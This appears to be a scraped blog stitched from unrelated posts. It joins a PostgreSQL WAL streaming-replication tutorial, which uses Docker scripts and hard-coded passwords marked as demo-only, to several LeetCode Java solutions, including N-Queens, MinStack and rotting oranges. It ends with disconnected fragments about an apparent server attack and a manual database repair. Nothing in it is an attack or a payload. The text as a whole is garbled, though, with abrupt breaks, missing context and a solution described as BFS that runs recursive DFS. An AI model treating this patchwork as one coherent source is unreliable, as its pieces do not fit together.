1. WAL (write-ahead log): change records that make crash recovery and physical replication possible.
2. wal_level=replica: the primary must emit enough WAL for replication. On current PostgreSQL releases, this is already the default.
3. pg_basebackup: takes a physical copy of the primary to seed the standby.
4. standby.signal and primary_conninfo: tell the new server to start in standby mode and stream from the primary.
5. WAL retention: use a replication slot, wal_keep_size, or WAL archiving so the primary does not recycle segments the standby still needs.

What is WAL

Write-ahead logging (WAL) is the mechanism PostgreSQL uses to guarantee durability and recover from crashes. Before a change is considered committed, PostgreSQL writes a description of that change to WAL and flushes the WAL record to durable storage. The actual data pages can be written later. After a crash, PostgreSQL replays WAL to bring the data files back to a consistent state.^{<a href=”https://www.postgresql.org/docs/current/wal-intro.html">[1]</a>}

WAL files live in the pg_wal directory. WAL segment files are 16 MiB by default, and PostgreSQL rotates through them as new WAL is generated.^{<a href="https://www.postgresql.org/docs/current/wal-internals.html">[2]</a>}

A simplified WAL flow looks like this:

1. A transaction generates WAL records for a change.
2. PostgreSQL updates in-memory shared buffers.
3. On commit, PostgreSQL flushes the relevant WAL records.
4. Dirty data pages are written to the data files later by background writes and checkpoints.
5. If the server crashes, PostgreSQL replays WAL from the last checkpoint to recover.

WAL streaming to replica

A physical replica starts from a base backup and then continuously replays WAL from the primary. pg_basebackup can take that initial backup from a running cluster. When you add -R, PostgreSQL creates standby.signal and writes the primary connection settings into postgresql.auto.conf, which is enough to boot the new instance as a standby on modern PostgreSQL releases.^{<a href="https://www.postgresql.org/docs/current/app-pgbasebackup.html">[3]</a>}

Quick setup

This example is for local Docker testing. It uses broad network rules and hard-coded passwords for brevity. For anything real, narrow the CIDRs, avoid trust, and prefer scram-sha-256 everywhere.^{<a href="https://www.postgresql.org/docs/current/auth-pg-hba-conf.html">[4]</a>}

You need a pg_hba.conf entry that allows both normal client connections and replication connections from the replica.

# Local demo only: trust local socket connections inside the container
local   all             all                                     trust

# Local demo only: replace 0.0.0.0/0 with your replica subnet in real deployments
host    replication     replicator      0.0.0.0/0               scram-sha-256
host    all             all             0.0.0.0/0               scram-sha-256

primary-init.sh

#!/usr/bin/env bash
set -euo pipefail

postgres_pid=""

cleanup() {
  if [ -n "$postgres_pid" ] && kill -0 "$postgres_pid" > /dev/null 2>&1; then
    kill -TERM "$postgres_pid" > /dev/null 2>&1 || true
    wait "$postgres_pid" || true
  fi
}

trap cleanup INT TERM

docker-entrypoint.sh "$@" &
postgres_pid=$!

echo "Waiting for primary PostgreSQL to accept connections..."
until pg_isready -h 127.0.0.1 -U postgres -d postgres > /dev/null 2>&1; do
  if ! kill -0 "$postgres_pid" > /dev/null 2>&1; then
    wait "$postgres_pid"
  fi
  sleep 1
done

echo "Ensuring replication role exists..."
psql -v ON_ERROR_STOP=1 -U postgres -d postgres <<'SQL'
DO $$
BEGIN
  IF NOT EXISTS (
    SELECT 1
    FROM pg_roles
    WHERE rolname = 'replicator'
  ) THEN
    CREATE ROLE replicator WITH REPLICATION LOGIN PASSWORD 'replicator';
  END IF;
END
$$;
SQL

wait "$postgres_pid"

replica-init.sh

#!/usr/bin/env bash
set -euo pipefail

DATA_DIR="${PGDATA:?PGDATA is not set}"
PRIMARY_HOST="primary"

echo "Waiting for primary to be ready..."
until pg_isready -h "$PRIMARY_HOST" -U postgres -d postgres > /dev/null 2>&1; do
  sleep 2
done

echo "Waiting for replication user to exist..."
until PGPASSWORD=postgres psql -h "$PRIMARY_HOST" -U postgres -d postgres -tAc "SELECT 1 FROM pg_roles WHERE rolname='replicator'" | grep -q 1; do
  sleep 2
done

# Only run basebackup if replica not initialized
if [ ! -f "$DATA_DIR/PG_VERSION" ]; then
  echo "Initializing replica data directory..."

  mkdir -p "$DATA_DIR"
  shopt -s dotglob nullglob
  rm -rf "$DATA_DIR"/*
  shopt -u dotglob nullglob
  chown -R postgres:postgres /var/lib/postgresql

  echo "Running pg_basebackup..."
  PGPASSWORD=replicator gosu postgres pg_basebackup \
    -h "$PRIMARY_HOST" \
    -D "$DATA_DIR" \
    -U replicator \
    -Fp \
    -Xs \
    -P \
    -R

  echo "Base backup complete."
else
  echo "Replica already initialized, skipping base backup."
fi

echo "Starting PostgreSQL replica..."
exec docker-entrypoint.sh postgres

This replica comes up correctly, but the primary still needs to retain enough WAL for the standby to catch up after brief disconnects. In this demo I use wal_keep_size; for a production setup, prefer a physical replication slot and/or WAL archiving.^{<a href="https://www.postgresql.org/docs/current/warm-standby.html">[5]</a>}

services:
  primary:
    image: postgres:18
    container_name: pg_primary
    restart: unless-stopped
    environment:
      POSTGRES_USER: postgres
      POSTGRES_PASSWORD: postgres
    volumes:
      - primary_pgroot:/var/lib/postgresql
      - ./primary/pg_hba.conf:/etc/postgresql/pg_hba.conf:ro
      - ./scripts/primary-init.sh:/scripts/primary-init.sh:ro
    ports:
      - "5430:5432"
    networks:
      - primary_net
      - backbone_net
    healthcheck:
      test: ["CMD-SHELL", "pg_isready -U postgres -d postgres"]
      interval: 5s
      timeout: 5s
      retries: 20
    entrypoint: ["/bin/bash", "/scripts/primary-init.sh"]
    command: >
      postgres
      -c wal_level=replica
      -c max_wal_senders=10
      -c max_replication_slots=10
      -c wal_keep_size=256MB
      -c listen_addresses='*'
      -c hba_file=/etc/postgresql/pg_hba.conf

  replica-1:
    image: postgres:18
    container_name: pg_replica_1
    restart: unless-stopped
    environment:
      POSTGRES_USER: postgres
      POSTGRES_PASSWORD: postgres
    depends_on:
      primary:
        condition: service_healthy
    volumes:
      - replica_1_pgroot:/var/lib/postgresql
      - ./scripts/replica-init.sh:/scripts/replica-init.sh:ro
    ports:
      - "5431:5432"
    networks:
      - replica_net
      - backbone_net
    healthcheck:
      test: ["CMD-SHELL", "pg_isready -U postgres -d postgres"]
      interval: 5s
      timeout: 5s
      retries: 20
    entrypoint: ["/bin/bash", "/scripts/replica-init.sh"]

networks:
  primary_net:
  replica_net:
  backbone_net:

volumes:
  primary_pgroot:
  replica_1_pgroot:

Notes

• max_replication_slots only reserves capacity. It does not create a replication slot by itself.
• wal_keep_size helps a briefly disconnected standby catch up, but it is not a full replacement for WAL archiving or a persistent replication slot.
• hot_standby is a standby-side setting. On current PostgreSQL releases it is enabled by default, so it is not required explicitly in this demo.^{<a href="https://www.postgresql.org/docs/current/hot-standby.html">[6]</a>}

References

1. PostgreSQL docs: Write-Ahead Logging (WAL)
2. PostgreSQL docs: WAL Internals
3. PostgreSQL docs: pg_basebackup
4. PostgreSQL docs: pg_hba.conf
5. PostgreSQL docs: Log-Shipping Standby Servers
6. PostgreSQL docs: Hot Standby

• Backtrack

## Solution

class Solution {
    List<List<String>> ans = new ArrayList<>();
    Set<Integer> col = new HashSet<>();
    Set<Integer> posDiag = new HashSet<>();
    Set<Integer> negDiag = new HashSet<>();

    public List<List<String>> solveNQueens(int n) {
        char[][] board = new char[n][n];
        for(int i = 0; i < n; i++) {
            Arrays.fill(board[i], '.');
        }

        backtrack(0, n, board);

        return ans;
    }

    void backtrack(int row, int n, char[][] board) {
        if (row == n) {
            List<String> result = new ArrayList<>();
            for(char[] r : board) {
                result.add(new String(r));
            }
            ans.add(result);
            return;
        }

        for(int i = 0; i < n; i++) {
            if(col.contains(i) || posDiag.contains(i + row) || negDiag.contains(i-row)) {
                continue;
            } 
            col.add(i);
            posDiag.add(i+row);
            negDiag.add(i-row);
            board[row][i] = 'Q';
            backtrack(row + 1, n, board);
            board[row][i] = '.';
            col.remove(i);
            posDiag.remove(i+row);
            negDiag.remove(i-row);
        }
    }
}

Intuitively, Breadth-First Search would do the trick.

Here comes the naive solution:

    public Node connect(Node root) {
        if(root == null) return root;

        Queue<Node> q = new LinkedList<>();
        q.offer(root);

        while(!q.isEmpty()) {
            int size = q.size();
            for(int i = 0; i < size; i++) {
                Node leftNode = q.poll();
                Node nextNode = q.peek();
                if(i < size - 1) { // The last node.next on level x is null
                    leftNode.next = nextNode;
                }
                if(leftNode.left != null) q.offer(leftNode.left);
                if(leftNode.right != null) q.offer(leftNode.right);
            }
        }

        return root;
    }

However, it’s not enough as the follow-up may be asked to use O(1) space in the interview. Hence to rewrite the logic:

    public Node connect(Node root) {
        if(root == null || root.left == null) return root;

        root.left.next = root.right;

        if(root.next != null) root.right.next = root.next.left;

        connect(root.left);
        connect(root.right);

        return root;
    }

/**
 * Definition for a binary tree node.
 * public class TreeNode {
 *     int val;
 *     TreeNode left;
 *     TreeNode right;
 *     TreeNode() {}
 *     TreeNode(int val) { this.val = val; }
 *     TreeNode(int val, TreeNode left, TreeNode right) {
 *         this.val = val;
 *         this.left = left;
 *         this.right = right;
 *     }
 * }
 */
class Solution {
    
    int maxLevel = 0;

    public List<Integer> rightSideView(TreeNode root) {
        List<Integer> ans = new ArrayList<>();
        if(root == null) return ans;
        traverse(ans, root, maxLevel);
        return ans;
    }

    void traverse(List<Integer> arr, TreeNode node, int prevLevel) {
        if(node == null) return;
        int curLevel = prevLevel + 1;
        if(curLevel > maxLevel) {
            arr.add(node.val);
            maxLevel = curLevel;
        }
        
        traverse(arr, node.right, curLevel);
        traverse(arr, node.left, curLevel);
    }
}

A naive solution to min stack would be to use built-in Stack Class to perform push(), pop(), peek(). However, it will need an extra Stack to help finding a new min a pop() performed, which violates the problem’s requirement: You must implement a solution with O(1) time complexity for each function.

Instead of finding a new min, we could do better by tracking the current min with

class ListNode {
      int val;
      int min;
      ListNode next;
      public ListNode(int val, int min) {
          this.val = val;
          this.min = min;
          this.next = null;
      }
}

Solution:

class MinStack {
    class ListNode {
        int val;
        int min;
        ListNode next;
        public ListNode(int val, int min) {
            this.val = val;
            this.min = min;
            this.next = null;
        }
    }

    ListNode head;
    public MinStack() {

    }
    
    public void push(int val) {
        if(head == null) {
            head = new ListNode(val, val);
        } else {
            ListNode head_ = new ListNode(val, Math.min(val, head.min));
            head_.next = head;
            head = head_;
        }
    }
    
    public void pop() {
        head = head.next;
    }
    
    public int top() {
        return head.val;
    }
    
    public int getMin() {
        return head.min;
    }
}

/**
 * Your MinStack object will be instantiated and called as such:
 * MinStack obj = new MinStack();
 * obj.push(val);
 * obj.pop();
 * int param_3 = obj.top();
 * int param_4 = obj.getMin();
 */

The problem strikes me as a BFS question which asks to find the minimum iterations to infect/ traverse all the nodes in the given array from given x, y. Hence, the solution:

class Solution {
    public int orangesRotting(int[][] grid) {
        for(int i = 0; i < grid.length; i++) {
            for(int j = 0; j < grid[i].length; j++) {
                if(grid[i][j] == 2) {
                    rotting(grid, i, j);
                }
            }
        }

        int ans = 2;
        for(int i = 0; i < grid.length; i++) {
            for(int j = 0; j < grid[i].length; j++) {
                if(grid[i][j] == 1) return -1;
                if(grid[i][j] > ans) ans = grid[i][j];
            }
        }

        return ans - 2;
    }

    void rotting(int[][] grid, int x, int y) {
        int stage = grid[x][y];

        if(x > 0 && (grid[x-1][y] == 1 || grid[x-1][y] > stage + 1 )) {
            grid[x-1][y] = stage + 1;
            rotting(grid, x-1, y);
        }

        if(x < grid.length -1 && (grid[x+1][y] == 1 || grid[x+1][y] > stage + 1)) {
            grid[x+1][y] = stage + 1;
            rotting(grid, x+1, y);
        }

        if(y > 0 && (grid[x][y-1] == 1 || grid[x][y-1] > stage + 1)) {
            grid[x][y-1] = stage + 1;
            rotting(grid, x, y-1);
        }
        
        if(y < grid[0].length -1 && (grid[x][y+1] == 1 || grid[x][y+1] > stage + 1)) {
            grid[x][y+1] = stage + 1;
            rotting(grid, x, y+1);
        }
    }

}

By the look of the logs and ps -e, nothing suspecious was executed and running at the backend, but I need to do a bit more digging to make sure of that.

For my backend server, I used Docker and Spring Boot, but now I find it urgently to have a crash course on Spring Cloud Gateway and Spring Security to eliminate this kind of attack from beginning.

Solution:

1. Truncate the table to reduce the update time
2. Manual DB surgeries to bring the database to the desired state by bypassing the pod timeout mechanism.